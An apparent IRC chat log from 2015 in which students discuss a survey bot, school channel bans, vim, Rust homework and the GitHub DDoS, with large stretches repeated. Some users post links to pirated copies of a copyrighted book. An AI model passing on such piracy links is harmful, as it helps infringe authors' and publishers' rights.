[2015-03-26T22:19:49-0400] <LittleBobbyTables> Giving them facts about cat sex.
[2015-03-26T22:19:55-0400] <fwilson> oh my
[2015-03-26T22:20:03-0400] <LittleBobbyTables> I've sort of ran out of facts, since surprisingly, there's really not that much information on the internet
[2015-03-26T22:20:28-0400] <fwilson> battery life on lollipop is good
[2015-03-26T22:20:42-0400] <fwilson> even on my three year old tablet
[2015-03-26T22:21:33-0400] <+awe> LittleBobbyTables: I'm mostly just interested in having demographic information.
[2015-03-26T22:21:49-0400] <+awe> LittleBobbyTables: I'm pretty sure I could just bug you a lot if I really wanted to know information about you.
[2015-03-26T22:22:03-0400] <LittleBobbyTables> Probably not.
[2015-03-26T22:22:11-0400] <fwilson> awe, there are possible multi-choice things though like race
[2015-03-26T22:26:18-0400] <LittleBobbyTables> I need a better chair...
[2015-03-26T22:26:22-0400] <LittleBobbyTables> And a bigger mouse pad
[2015-03-26T22:26:25-0400] <LittleBobbyTables> And an SSD
[2015-03-26T22:26:31-0400] <LittleBobbyTables> And more memory
[2015-03-26T22:28:16-0400] <LittleBobbyTables> http://i.imgur.com/QHLV9oO.jpg
[2015-03-26T22:28:38-0400] <+awe> fwilson: there are, which is what I meant when I said that it'll be less descriptive of individual identities.
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[2015-03-26T23:05:08-0400] Set by awe on February 24, 2015 at 12:36:51 AM EST
[2015-03-26T22:12:24-0400] <+awe> fwilson: It won't be done tonight.
[2015-03-26T22:12:27-0400] <JacobEdelman> So , gnight
[2015-03-26T22:12:31-0400] <fwilson> awe: ok
[2015-03-26T22:12:36-0400] <Tamini> good night fwilson
[2015-03-26T22:12:38-0400] <Tamini> also also
[2015-03-26T22:12:43-0400] <Tamini> i got my canny working it was beautiful
[2015-03-26T22:12:49-0400] <+awe> And you'll definitely be able to take it at your leisure anyway.
[2015-03-26T22:13:10-0400] <LittleBobbyTables> http://games.adultswim.com/robot-unicorn-attack-twitchy-online-game.html
[2015-03-26T22:13:11-0400] <+awe> I'm hoping that once we collect some data, there'll be commands like @demo race or something.
[2015-03-26T22:13:12-0400] <LittleBobbyTables> Is such a fun game
[2015-03-26T22:13:16-0400] <+awe> And it'd give a breakdown of racial identities.
[2015-03-26T22:13:17-0400] <LittleBobbyTables> I know it's old, but still
[2015-03-26T22:13:28-0400] <+awe> Or @demo gender, and it'd give a breakdown of gender identities.
[2015-03-26T22:14:26-0400] <Tamini> that's...not going to be very interesting, I think
[2015-03-26T22:15:34-0400] <+awe> Gender identity might be pretty uninteresting, yeah.
[2015-03-26T22:15:36-0400] <LittleBobbyTables> fuck
[2015-03-26T22:15:46-0400] <LittleBobbyTables> I dashed into a wall
[2015-03-26T22:15:48-0400] <LittleBobbyTables> And died...
[2015-03-26T22:16:28-0400] <LittleBobbyTables> Ugh
[2015-03-26T22:16:33-0400] <LittleBobbyTables> 20 GB ssd is so not enough
[2015-03-26T22:16:48-0400] <LittleBobbyTables> And I don't wanna pay 20 bucks a month
[2015-03-26T22:17:34-0400] <grantwu> For hosting?
[2015-03-26T22:17:47-0400] <LittleBobbyTables> For what I'm going to do with it.
[2015-03-26T22:18:07-0400] <+awe> Hmm, I might do it something like this: @survey? will make awebot list out the survey questions and then @survey followed by space-separated answers will be for submission.
[2015-03-26T22:18:09-0400] <fwilson> use as?
[2015-03-26T22:18:24-0400] <+awe> Does that sound okay?
[2015-03-26T22:18:28-0400] <LittleBobbyTables> I think awe is just using this to figure out more about me.
[2015-03-26T22:18:45-0400] <fwilson> aws even
[2015-03-26T22:18:57-0400] <fwilson> awe, what about multi word answers
[2015-03-26T22:19:06-0400] <+awe> It's going to be multiple-choice, I think.
[2015-03-26T22:19:15-0400] <fwilson> ah
[2015-03-26T22:19:20-0400] <fwilson> makes sense
[2015-03-26T22:19:37-0400] <LittleBobbyTables> So, apparently
[2015-03-26T22:19:43-0400] <+awe> It means that the answers will be a little less descriptive of individuals, but it also means that we'll have a more consistent understanding of demos.
[2015-03-26T22:19:44-0400] <LittleBobbyTables> I got stuck into following this person around on reddit
[2015-03-26T22:19:49-0400] <LittleBobbyTables> Giving them facts about cat sex.
[2015-03-26T22:19:55-0400] <fwilson> oh my
[2015-03-26T22:20:03-0400] <LittleBobbyTables> I've sort of ran out of facts, since surprisingly, there's really not that much information on the internet
[2015-03-26T22:20:28-0400] <fwilson> battery life on lollipop is good
[2015-03-26T22:20:42-0400] <fwilson> even on my three year old tablet
[2015-03-26T22:21:33-0400] <+awe> LittleBobbyTables: I'm mostly just interested in having demographic information.
[2015-03-26T22:21:49-0400] <+awe> LittleBobbyTables: I'm pretty sure I could just bug you a lot if I really wanted to know information about you.
[2015-03-26T22:22:03-0400] <LittleBobbyTables> Probably not.
[2015-03-26T22:22:11-0400] <fwilson> awe, there are possible multi-choice things though like race
[2015-03-26T22:26:18-0400] <LittleBobbyTables> I need a better chair...
[2015-03-26T22:26:22-0400] <LittleBobbyTables> And a bigger mouse pad
[2015-03-26T22:26:25-0400] <LittleBobbyTables> And an SSD
[2015-03-26T22:26:31-0400] <LittleBobbyTables> And more memory
[2015-03-26T22:28:16-0400] <LittleBobbyTables> http://i.imgur.com/QHLV9oO.jpg
[2015-03-26T22:28:38-0400] <+awe> fwilson: there are, which is what I meant when I said that it'll be less descriptive of individual identities.
[2015-03-26T23:05:09-0400] Mode is +nt
[2015-03-26T23:34:41-0400] <+awe> Finding digital versions of books is frustrating.
[2015-03-26T23:34:47-0400] <+awe> Well, for free, anyway.
[2015-03-26T23:35:52-0400] <LittleBobbyTables> It's easy.
[2015-03-26T23:38:26-0400] <+awe> LittleBobbyTables: Can you find me an epub copy of The Wretched of the Earth by Frantz Fanon?
[2015-03-26T23:38:29-0400] <+awe> I can't find one.
[2015-03-26T23:39:15-0400] <LittleBobbyTables> https://kickass.to/wretched-of-the-earth-e-book-l5-filmbay-ii3-ng-new-4672-ebooks-html-t288743.html
[2015-03-26T23:39:19-0400] <LittleBobbyTables> it's an html version
[2015-03-26T23:39:57-0400] <+awe> That's not the right book.
[2015-03-26T23:40:05-0400] <+awe> "Author: Gerald Williamson"
[2015-03-26T23:40:06-0400] <LittleBobbyTables> lies
[2015-03-26T23:40:57-0400] <+awe> That's what it says.
[2015-03-26T23:41:01-0400] <+awe> It says it's by Gerald Williamson.
[2015-03-26T23:41:02-0400] <LittleBobbyTables> Prove it.
[2015-03-26T23:41:07-0400] <bob_twinkles> awe: http://libgen.org/foreignfiction/index.php?s=the+wretched+of+the+earth&f_lang=0&f_columns=0&f_ext=0
[2015-03-26T23:41:11-0400] <bob_twinkles> <3 libgen.org
[2015-03-26T23:41:20-0400] <+awe> That one is correct.
[2015-03-26T23:41:22-0400] <+awe> Thanks, bob_twinkles.
[2015-03-26T23:41:22-0400] <LittleBobbyTables> http://thebaluch.com/documents/0802150837%20-%20FRANTZ%20FANON%20-%20The%20Wretched%20of%20the%20Earth.pdf
[2015-03-26T23:41:28-0400] <LittleBobbyTables> ^pdf
[2015-03-26T23:41:32-0400] <+awe> bob_twinkles is better than you.
[2015-03-26T23:41:37-0400] <+awe> He got the right thing faster, and in the right format.
[2015-03-26T23:41:50-0400] <LittleBobbyTables> I'm at least checking mine to make sure it is what it says it is.
[2015-03-26T23:41:55-0400] <LittleBobbyTables> I have terrible internet
[2015-03-26T23:42:08-0400] <LittleBobbyTables> http://fileflush.com/file/12045/fanon-frantz-wretched-of-the-earth.epub.html
[2015-03-26T23:42:21-0400] <+awe> His is actually the book.
[2015-03-26T23:42:39-0400] <+awe> It's the Richard Philcox translation.
[2015-03-26T23:42:46-0400] <LittleBobbyTables> :(
[2015-03-26T23:42:56-0400] <+awe> Which has a preface by Sartre, which is cool.
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[2015-03-27T06:31:46-0400] <JacobEdelman> Gmorning
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[2015-03-27T07:20:45-0400] <JacobEdelman> so
[2015-03-27T07:21:46-0400] <JacobEdelman> it seems somebody is editing all baidu ads and analytic scripts coming out of china
[2015-03-27T07:25:06-0400] <JacobEdelman> resulting in a ddos of github
[2015-03-27T07:25:30-0400] <JacobEdelman> so we have no idea who it is *cough* *cough* *great fire wall*
[2015-03-27T07:35:31-0400] <sdamashek> lol that's great
[2015-03-27T07:35:54-0400] <JacobEdelman> I'm actually slightly surprised
[2015-03-27T07:36:04-0400] <JacobEdelman> i didn't exepct china to be this aggressive
[2015-03-27T07:36:10-0400] <Fill> oh my
[2015-03-27T07:36:21-0400] <JacobEdelman> or to go after something like github with a large activistish community
[2015-03-27T07:36:33-0400] <sdamashek> why do they dislike github?
[2015-03-27T07:36:56-0400] <Fill> why would anyone do that to github/
[2015-03-27T07:37:03-0400] <JacobEdelman> they were targeting pages that they say as anti-china, something about getting around the fire wall (I think) and the nytimes
[2015-03-27T07:38:00-0400] <Fill> meh
[2015-03-27T07:38:03-0400] <JacobEdelman> *the chinese nytimes it seems
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[2015-03-27T10:35:49-0400] <LittleBobbyTables> I got banned from /r/twoxchromosomes
[2015-03-27T10:39:49-0400] <nickthename> LittleBobbyTables: rofl, for what?
[2015-03-27T10:40:18-0400] <LittleBobbyTables> The male cat has fish-hook-like barbs on his penis that pinch the female on retraction. The pinch is required for the female's body to release an ovum. 
[2015-03-27T10:41:35-0400] <nickthename> glad I now know just a little bit more about cat sex
[2015-03-27T10:43:38-0400] <LittleBobbyTables> Pretty sure that's the post that got me banned
[2015-03-27T10:44:03-0400] <nickthename> what was the context of that?
[2015-03-27T10:44:56-0400] <LittleBobbyTables> The person subscribed to "CatFucks"
[2015-03-27T10:45:13-0400] <LittleBobbyTables> I figured it'd be  a lot better to give facts rather than pictures of cats having sex
[2015-03-27T10:45:56-0400] <nickthename> what a great subreddit
[2015-03-27T10:46:36-0400] <LittleBobbyTables> twoxchromosomes?
[2015-03-27T10:48:22-0400] <nickthename> yeah, going default made that place a drama goldmine
[2015-03-27T10:48:44-0400] <JacobEdelman> nickthename: where'd you come from? (aka: how'd you hear about pdgn)
[2015-03-27T10:49:28-0400] <nickthename> friends
[2015-03-27T10:49:39-0400] <JacobEdelman> .... which friends?
[2015-03-27T10:49:56-0400] <JacobEdelman> I mean, I could just ask everybody here, but asking you is quicker
[2015-03-27T10:50:01-0400] <JacobEdelman> I'm curious 
[2015-03-27T10:50:02-0400] <nickthename> bob twinkles, jwog0m, sam damashek, ashley
[2015-03-27T10:50:05-0400] <JacobEdelman> oooh
[2015-03-27T10:50:08-0400] <JacobEdelman> your a tj person
[2015-03-27T10:50:10-0400] <nickthename> ubunt0r
[2015-03-27T10:50:14-0400] <nickthename> fw1lson
[2015-03-27T10:50:15-0400] <JacobEdelman> too much tj
[2015-03-27T10:50:22-0400] <nickthename> is that enough or do I need more?
[2015-03-27T10:50:28-0400] <JacobEdelman> thats enough
[2015-03-27T10:50:35-0400] <JacobEdelman> you tj people
[2015-03-27T10:50:38-0400] <LittleBobbyTables> This place is quickly becoming #tjhsst-refuge-from-claudia-drama
[2015-03-27T10:50:42-0400] <JacobEdelman> yup
[2015-03-27T10:50:54-0400] <nickthename> claudia drama is the best
[2015-03-27T10:51:06-0400] <LittleBobbyTables> I got banned from tjhsst
[2015-03-27T10:51:14-0400] <JacobEdelman> so did I
[2015-03-27T10:51:15-0400] <LittleBobbyTables> So I can't watch it anymore
[2015-03-27T10:51:19-0400] <nickthename> :(
[2015-03-27T10:51:25-0400] <JacobEdelman> it was a fake username so I'm not too woried
[2015-03-27T10:51:30-0400] <JacobEdelman> I didn't even say anything
[2015-03-27T10:51:41-0400] <nickthename> creffett? he's pretty agressive
[2015-03-27T10:51:45-0400] <JacobEdelman> maybe
[2015-03-27T10:51:55-0400] <LittleBobbyTables> Definitely creffett.
[2015-03-27T10:52:00-0400] <JacobEdelman>  sdrodge
[2015-03-27T10:52:09-0400] <JacobEdelman> it was  sdrodge
[2015-03-27T10:52:19-0400] <nickthename> Basically no current students or even recent grads like creffett
[2015-03-27T10:52:27-0400] <LittleBobbyTables> He said "if you don't contribute to the discussion I'm going to ban you"
[2015-03-27T10:52:28-0400] <nickthename> but andrew likes him, so yeah
[2015-03-27T10:52:33-0400] <LittleBobbyTables> After someone +q'd me
[2015-03-27T10:52:34-0400] <JacobEdelman> creffet asked me who I was
[2015-03-27T10:52:36-0400] <JacobEdelman> and I replied
[2015-03-27T10:52:48-0400] <JacobEdelman> "creffett: I doubt you could actually guess who I am"
[2015-03-27T10:52:52-0400] <JacobEdelman> at which point I was kicked
[2015-03-27T10:53:36-0400] <nickthename> well duh, if he could guess he wouldn't have asked you
[2015-03-27T10:53:43-0400] <LittleBobbyTables> A lot of the people there are with the "he's not causing issues, why not just let him watch?"
[2015-03-27T10:54:11-0400] <LittleBobbyTables> Most of the ops are with the "fuck everyone else, nobody is allowed into our completely public school channel that's just our schools acronym"
[2015-03-27T10:55:23-0400] <JacobEdelman> so
[2015-03-27T10:55:52-0400] <JacobEdelman> nickthename: time for your interro-interview that I give to all new pdgns
[2015-03-27T10:56:09-0400] <JacobEdelman> question 1: what specific areas of cs/math/life are you interested in?
[2015-03-27T10:56:36-0400] <LittleBobbyTables> All new pdgns is just you
[2015-03-27T10:57:00-0400] <JacobEdelman> LittleBobbyTables: ?
[2015-03-27T10:57:00-0400] <+awe> How do I jump to the nth character in a line in vim?
[2015-03-27T10:57:12-0400] <JacobEdelman> awe: first, switch to atom
[2015-03-27T10:57:16-0400] <nickthename> kek
[2015-03-27T10:57:24-0400] columba.pdgn.co kicked JacobEdelman from the channel (Wrong.)
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[2015-03-27T10:57:35-0400] <JacobEdelman> awwwwwe
[2015-03-27T10:57:39-0400] <JacobEdelman> how about gedbit?
[2015-03-27T10:57:41-0400] <JacobEdelman> *gedit?
[2015-03-27T10:57:45-0400] <nickthename> awe: if you can't google, vim may not be for you
[2015-03-27T10:58:19-0400] <+awe> nickthename: I'm more than capable of searching the web. I was looking for a faster answer from the swarths of people who use it here.
[2015-03-27T10:58:24-0400] <JacobEdelman> ^
[2015-03-27T10:58:37-0400] <JacobEdelman> *that ^ was pointing to what awe said
[2015-03-27T10:59:09-0400] <nickthename> awe: <n>| jumps to the nth char in a line
[2015-03-27T10:59:18-0400] <JacobEdelman> nickthename: answer my question or be destroyed
[2015-03-27T10:59:27-0400] <LittleBobbyTables> | is nth column, ye
[2015-03-27T10:59:44-0400] <+awe> Welp, it's too late since I don't need it anymore.
[2015-03-27T10:59:52-0400] <nickthename> JacobEdelman: are you doing to me what you just made fun of creffett for doing?
[2015-03-27T11:00:04-0400] <nickthename> JacobEdelman: anyway, networking/security
[2015-03-27T11:00:04-0400] <JacobEdelman> no.... I actually do that to everybody
[2015-03-27T11:00:31-0400] <JacobEdelman> everybody here has been interviewed at one point or another with maybe 3 exceptions)
[2015-03-27T11:00:41-0400] <JacobEdelman> *ignore the )
[2015-03-27T11:00:53-0400] <JacobEdelman> nickthename: question 2: (final question) describe yourself in 6 words
[2015-03-27T11:01:00-0400] <JacobEdelman> (the questions are the same for everybody)
[2015-03-27T11:01:59-0400] <LittleBobbyTables> "nick the name is my name"
[2015-03-27T11:02:18-0400] <JacobEdelman> lol, that would work, although it wouldn't be very descriptive
[2015-03-27T11:02:34-0400] <nickthename> nick is actually my name irl
[2015-03-27T11:02:47-0400] <JacobEdelman> are those your 6 words? :P
[2015-03-27T11:02:57-0400] <nickthename> if I counted right
[2015-03-27T11:03:01-0400] <JacobEdelman> yup
[2015-03-27T11:03:04-0400] <JacobEdelman> lol
[2015-03-27T11:03:06-0400] <JacobEdelman> nice 6 words
[2015-03-27T11:03:12-0400] <JacobEdelman> you pass
[2015-03-27T11:04:59-0400] <JacobEdelman> who here is going to hackbca?
[2015-03-27T11:06:00-0400] <nickthename> > Hackensack, NJ
[2015-03-27T11:06:42-0400] <LittleBobbyTables> nickthename: do you have a job
[2015-03-27T11:07:21-0400] <nickthename> why do you ask
[2015-03-27T11:09:15-0400] <LittleBobbyTables> Curiosity
[2015-03-27T11:09:19-0400] <+awe> http://sprunge.us/MbhV?rust
[2015-03-27T11:09:22-0400] <+awe> argh, this is not very efficient.
[2015-03-27T11:10:15-0400] <+awe> Oh, I know how to make it better though.
[2015-03-27T11:10:27-0400] <LittleBobbyTables> Different language?
[2015-03-27T11:12:23-0400] <+awe> Okay, yeah, I made it better.
[2015-03-27T11:12:30-0400] <+awe> No, the way I was finding permutations was super inefficient.
[2015-03-27T11:12:39-0400] <+awe> http://sprunge.us/RViU?rust
[2015-03-27T11:13:08-0400] <+awe> The weird thing is that this doesn't converge to 1/e like he said it should.
[2015-03-27T11:15:22-0400] <+awe> In fact, it's converging to 1 - 1/e
[2015-03-27T11:15:57-0400] <+awe> Oh, my collision_free test is inverted lol
[2015-03-27T11:16:08-0400] <+awe> Okay, there we go.
[2015-03-27T11:16:17-0400] <LittleBobbyTables> aight, nickthename, ping me if you ever answer.
[2015-03-27T11:16:28-0400] <LittleBobbyTables> I'm leaving now for an unspecified amount of time.
[2015-03-27T11:26:11-0400] <+awe> Argh, I really need to figure out 1.3, 1.4, and 2.2.
[2015-03-27T11:26:12-0400] <+awe> http://people.cs.umass.edu/~mcgregor/240S15/hwextra.pdf
[2015-03-27T11:52:49-0400] <+awe> Oh well, I don't feel like continuing to work on it. So, I just submitted it half done since it's extra credit anyway.
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[2015-03-27T12:04:37-0400] <JacobEdelman> hmmm... I'm gonna solve those 
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[2015-03-27T10:59:18-0400] <JacobEdelman> nickthename: answer my question or be destroyed
[2015-03-27T10:59:27-0400] <LittleBobbyTables> | is nth column, ye
[2015-03-27T10:59:44-0400] <+awe> Welp, it's too late since I don't need it anymore.
[2015-03-27T10:59:52-0400] <nickthename> JacobEdelman: are you doing to me what you just made fun of creffett for doing?
[2015-03-27T11:00:04-0400] <nickthename> JacobEdelman: anyway, networking/security
[2015-03-27T11:00:04-0400] <JacobEdelman> no.... I actually do that to everybody
[2015-03-27T11:00:31-0400] <JacobEdelman> everybody here has been interviewed at one point or another with maybe 3 exceptions)
[2015-03-27T11:00:41-0400] <JacobEdelman> *ignore the )
[2015-03-27T11:00:53-0400] <JacobEdelman> nickthename: question 2: (final question) describe yourself in 6 words
[2015-03-27T11:01:00-0400] <JacobEdelman> (the questions are the same for everybody)
[2015-03-27T11:01:59-0400] <LittleBobbyTables> "nick the name is my name"
[2015-03-27T11:02:18-0400] <JacobEdelman> lol, that would work, although it wouldn't be very descriptive
[2015-03-27T11:02:34-0400] <nickthename> nick is actually my name irl
[2015-03-27T11:02:47-0400] <JacobEdelman> are those your 6 words? :P
[2015-03-27T11:02:57-0400] <nickthename> if I counted right
[2015-03-27T11:03:01-0400] <JacobEdelman> yup
[2015-03-27T11:03:04-0400] <JacobEdelman> lol
[2015-03-27T11:03:06-0400] <JacobEdelman> nice 6 words
[2015-03-27T11:03:12-0400] <JacobEdelman> you pass
[2015-03-27T11:04:59-0400] <JacobEdelman> who here is going to hackbca?
[2015-03-27T11:06:00-0400] <nickthename> > Hackensack, NJ
[2015-03-27T11:06:42-0400] <LittleBobbyTables> nickthename: do you have a job
[2015-03-27T11:07:21-0400] <nickthename> why do you ask
[2015-03-27T11:09:15-0400] <LittleBobbyTables> Curiosity
[2015-03-27T11:09:19-0400] <+awe> http://sprunge.us/MbhV?rust
[2015-03-27T11:09:22-0400] <+awe> argh, this is not very efficient.
[2015-03-27T11:10:15-0400] <+awe> Oh, I know how to make it better though.
[2015-03-27T11:10:27-0400] <LittleBobbyTables> Different language?
[2015-03-27T11:12:23-0400] <+awe> Okay, yeah, I made it better.
[2015-03-27T11:12:30-0400] <+awe> No, the way I was finding permutations was super inefficient.
[2015-03-27T11:12:39-0400] <+awe> http://sprunge.us/RViU?rust
[2015-03-27T11:13:08-0400] <+awe> The weird thing is that this doesn't converge to 1/e like he said it should.
[2015-03-27T11:15:22-0400] <+awe> In fact, it's converging to 1 - 1/e
[2015-03-27T11:15:57-0400] <+awe> Oh, my collision_free test is inverted lol
[2015-03-27T11:16:08-0400] <+awe> Okay, there we go.
[2015-03-27T11:16:17-0400] <LittleBobbyTables> aight, nickthename, ping me if you ever answer.
[2015-03-27T11:16:28-0400] <LittleBobbyTables> I'm leaving now for an unspecified amount of time.
[2015-03-27T11:26:11-0400] <+awe> Argh, I really need to figure out 1.3, 1.4, and 2.2.
[2015-03-27T11:26:12-0400] <+awe> http://people.cs.umass.edu/~mcgregor/240S15/hwextra.pdf
[2015-03-27T11:52:49-0400] <+awe> Oh well, I don't feel like continuing to work on it. So, I just submitted it half done since it's extra credit anyway.
[2015-03-27T12:04:37-0400] <JacobEdelman> hmmm... I'm gonna solve those 
[2015-03-27T12:17:09-0400] <JacobEdelman> okay, got 1.3
[2015-03-27T12:17:12-0400] <JacobEdelman> moving on to 1.4
[2015-03-27T12:27:29-0400] <JacobEdelman> done with 1.4
[2015-03-27T12:47:28-0400] <jwoglom> oh, hi nickthename 
[2015-03-27T12:57:01-0400] <grantwu> awe, did you use the
[2015-03-27T12:57:04-0400] <grantwu> KNUTH SHUFFLE
[2015-03-27T12:57:08-0400] <grantwu> *dance moves&
[2015-03-27T12:57:11-0400] <grantwu> *dance moves*
[2015-03-27T12:59:35-0400] <grantwu> Okay I'm going to panic and fail my phone interview now bye
[2015-03-27T13:43:34-0400] Mode is +nt
[2015-03-27T13:44:08-0400] <+awe> JacobEdelman: I could submit it with those still, it's not due until 4, but there's other stuff that I wanted to do instead
[2015-03-27T13:51:36-0400] <+awe> JacobEdelman: specifically, the graduate employees union is having an action that I think I'm going to go to.
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[2015-03-27T13:55:36-0400] Set by awe on February 24, 2015 at 12:36:51 AM EST
[2015-03-27T10:59:44-0400] <+awe> Welp, it's too late since I don't need it anymore.
[2015-03-27T10:59:52-0400] <nickthename> JacobEdelman: are you doing to me what you just made fun of creffett for doing?
[2015-03-27T11:00:04-0400] <nickthename> JacobEdelman: anyway, networking/security
[2015-03-27T11:00:04-0400] <JacobEdelman> no.... I actually do that to everybody
[2015-03-27T11:00:31-0400] <JacobEdelman> everybody here has been interviewed at one point or another with maybe 3 exceptions)
[2015-03-27T11:00:41-0400] <JacobEdelman> *ignore the )
[2015-03-27T11:00:53-0400] <JacobEdelman> nickthename: question 2: (final question) describe yourself in 6 words
[2015-03-27T11:01:00-0400] <JacobEdelman> (the questions are the same for everybody)
[2015-03-27T11:01:59-0400] <LittleBobbyTables> "nick the name is my name"
[2015-03-27T11:02:18-0400] <JacobEdelman> lol, that would work, although it wouldn't be very descriptive
[2015-03-27T11:02:34-0400] <nickthename> nick is actually my name irl
[2015-03-27T11:02:47-0400] <JacobEdelman> are those your 6 words? :P
[2015-03-27T11:02:57-0400] <nickthename> if I counted right
[2015-03-27T11:03:01-0400] <JacobEdelman> yup
[2015-03-27T11:03:04-0400] <JacobEdelman> lol
[2015-03-27T11:03:06-0400] <JacobEdelman> nice 6 words
[2015-03-27T11:03:12-0400] <JacobEdelman> you pass
[2015-03-27T11:04:59-0400] <JacobEdelman> who here is going to hackbca?
[2015-03-27T11:06:00-0400] <nickthename> > Hackensack, NJ
[2015-03-27T11:06:42-0400] <LittleBobbyTables> nickthename: do you have a job
[2015-03-27T11:07:21-0400] <nickthename> why do you ask
[2015-03-27T11:09:15-0400] <LittleBobbyTables> Curiosity
[2015-03-27T11:09:19-0400] <+awe> http://sprunge.us/MbhV?rust
[2015-03-27T11:09:22-0400] <+awe> argh, this is not very efficient.
[2015-03-27T11:10:15-0400] <+awe> Oh, I know how to make it better though.
[2015-03-27T11:10:27-0400] <LittleBobbyTables> Different language?
[2015-03-27T11:12:23-0400] <+awe> Okay, yeah, I made it better.
[2015-03-27T11:12:30-0400] <+awe> No, the way I was finding permutations was super inefficient.
[2015-03-27T11:12:39-0400] <+awe> http://sprunge.us/RViU?rust
[2015-03-27T11:13:08-0400] <+awe> The weird thing is that this doesn't converge to 1/e like he said it should.
[2015-03-27T11:15:22-0400] <+awe> In fact, it's converging to 1 - 1/e
[2015-03-27T11:15:57-0400] <+awe> Oh, my collision_free test is inverted lol
[2015-03-27T11:16:08-0400] <+awe> Okay, there we go.
[2015-03-27T11:16:17-0400] <LittleBobbyTables> aight, nickthename, ping me if you ever answer.
[2015-03-27T11:16:28-0400] <LittleBobbyTables> I'm leaving now for an unspecified amount of time.
[2015-03-27T11:26:11-0400] <+awe> Argh, I really need to figure out 1.3, 1.4, and 2.2.
[2015-03-27T11:26:12-0400] <+awe> http://people.cs.umass.edu/~mcgregor/240S15/hwextra.pdf
[2015-03-27T11:52:49-0400] <+awe> Oh well, I don't feel like continuing to work on it. So, I just submitted it half done since it's extra credit anyway.
[2015-03-27T12:04:37-0400] <JacobEdelman> hmmm... I'm gonna solve those 
[2015-03-27T12:17:09-0400] <JacobEdelman> okay, got 1.3
[2015-03-27T12:17:12-0400] <JacobEdelman> moving on to 1.4
[2015-03-27T12:27:29-0400] <JacobEdelman> done with 1.4
[2015-03-27T12:47:28-0400] <jwoglom> oh, hi nickthename 
[2015-03-27T12:57:01-0400] <grantwu> awe, did you use the
[2015-03-27T12:57:04-0400] <grantwu> KNUTH SHUFFLE
[2015-03-27T12:57:08-0400] <grantwu> *dance moves&
[2015-03-27T12:57:11-0400] <grantwu> *dance moves*
[2015-03-27T12:59:35-0400] <grantwu> Okay I'm going to panic and fail my phone interview now bye
[2015-03-27T13:44:07-0400] <+awe> JacobEdelman: I could submit it with those still, it's not due until 4, but there's other stuff that I wanted to do instead
[2015-03-27T13:51:35-0400] <+awe> JacobEdelman: specifically, the graduate employees union is having an action that I think I'm going to go to.
[2015-03-27T13:55:36-0400] Mode is +nt
[2015-03-27T14:01:23-0400] <JacobEdelman> awe: okay
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[2015-03-27T14:12:25-0400] <+awe> Hmm, all but three Rust projects build.
[2015-03-27T14:12:41-0400] <+awe> Two of them won't build because of the same upstream issue with the time library.
[2015-03-27T14:12:54-0400] <+awe> The last one won't build because I'm waiting on one of my PRs to Rust.
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[2015-03-27T14:48:05-0400] Set by awe on February 24, 2015 at 12:36:51 AM EST
[2015-03-27T11:00:41-0400] <JacobEdelman> *ignore the )
[2015-03-27T11:00:53-0400] <JacobEdelman> nickthename: question 2: (final question) describe yourself in 6 words
[2015-03-27T11:01:00-0400] <JacobEdelman> (the questions are the same for everybody)
[2015-03-27T11:01:59-0400] <LittleBobbyTables> "nick the name is my name"
[2015-03-27T11:02:18-0400] <JacobEdelman> lol, that would work, although it wouldn't be very descriptive
[2015-03-27T11:02:34-0400] <nickthename> nick is actually my name irl
[2015-03-27T11:02:47-0400] <JacobEdelman> are those your 6 words? :P
[2015-03-27T11:02:57-0400] <nickthename> if I counted right
[2015-03-27T11:03:01-0400] <JacobEdelman> yup
[2015-03-27T11:03:04-0400] <JacobEdelman> lol
[2015-03-27T11:03:06-0400] <JacobEdelman> nice 6 words
[2015-03-27T11:03:12-0400] <JacobEdelman> you pass
[2015-03-27T11:04:59-0400] <JacobEdelman> who here is going to hackbca?
[2015-03-27T11:06:00-0400] <nickthename> > Hackensack, NJ
[2015-03-27T11:06:42-0400] <LittleBobbyTables> nickthename: do you have a job
[2015-03-27T11:07:21-0400] <nickthename> why do you ask
[2015-03-27T11:09:15-0400] <LittleBobbyTables> Curiosity
[2015-03-27T11:09:19-0400] <+awe> http://sprunge.us/MbhV?rust
[2015-03-27T11:09:22-0400] <+awe> argh, this is not very efficient.
[2015-03-27T11:10:15-0400] <+awe> Oh, I know how to make it better though.
[2015-03-27T11:10:27-0400] <LittleBobbyTables> Different language?
[2015-03-27T11:12:23-0400] <+awe> Okay, yeah, I made it better.
[2015-03-27T11:12:30-0400] <+awe> No, the way I was finding permutations was super inefficient.
[2015-03-27T11:12:39-0400] <+awe> http://sprunge.us/RViU?rust
[2015-03-27T11:13:08-0400] <+awe> The weird thing is that this doesn't converge to 1/e like he said it should.
[2015-03-27T11:15:22-0400] <+awe> In fact, it's converging to 1 - 1/e
[2015-03-27T11:15:57-0400] <+awe> Oh, my collision_free test is inverted lol
[2015-03-27T11:16:08-0400] <+awe> Okay, there we go.
[2015-03-27T11:16:17-0400] <LittleBobbyTables> aight, nickthename, ping me if you ever answer.
[2015-03-27T11:16:28-0400] <LittleBobbyTables> I'm leaving now for an unspecified amount of time.
[2015-03-27T11:26:11-0400] <+awe> Argh, I really need to figure out 1.3, 1.4, and 2.2.
[2015-03-27T11:26:12-0400] <+awe> http://people.cs.umass.edu/~mcgregor/240S15/hwextra.pdf
[2015-03-27T11:52:49-0400] <+awe> Oh well, I don't feel like continuing to work on it. So, I just submitted it half done since it's extra credit anyway.
[2015-03-27T12:04:37-0400] <JacobEdelman> hmmm... I'm gonna solve those 
[2015-03-27T12:17:09-0400] <JacobEdelman> okay, got 1.3
[2015-03-27T12:17:12-0400] <JacobEdelman> moving on to 1.4
[2015-03-27T12:27:29-0400] <JacobEdelman> done with 1.4
[2015-03-27T12:47:28-0400] <jwoglom> oh, hi nickthename 
[2015-03-27T12:57:01-0400] <grantwu> awe, did you use the
[2015-03-27T12:57:04-0400] <grantwu> KNUTH SHUFFLE
[2015-03-27T12:57:08-0400] <grantwu> *dance moves&
[2015-03-27T12:57:11-0400] <grantwu> *dance moves*
[2015-03-27T12:59:35-0400] <grantwu> Okay I'm going to panic and fail my phone interview now bye
[2015-03-27T13:44:07-0400] <+awe> JacobEdelman: I could submit it with those still, it's not due until 4, but there's other stuff that I wanted to do instead
[2015-03-27T13:51:35-0400] <+awe> JacobEdelman: specifically, the graduate employees union is having an action that I think I'm going to go to.
[2015-03-27T14:01:21-0400] <JacobEdelman> awe: okay
[2015-03-27T14:12:24-0400] <+awe> Hmm, all but three Rust projects build.
[2015-03-27T14:12:40-0400] <+awe> Two of them won't build because of the same upstream issue with the time library.
[2015-03-27T14:12:53-0400] <+awe> The last one won't build because I'm waiting on one of my PRs to Rust.
[2015-03-27T14:31:36-0400] <JacobEdelman> what rust projects?
[2015-03-27T14:48:05-0400] Mode is +nt
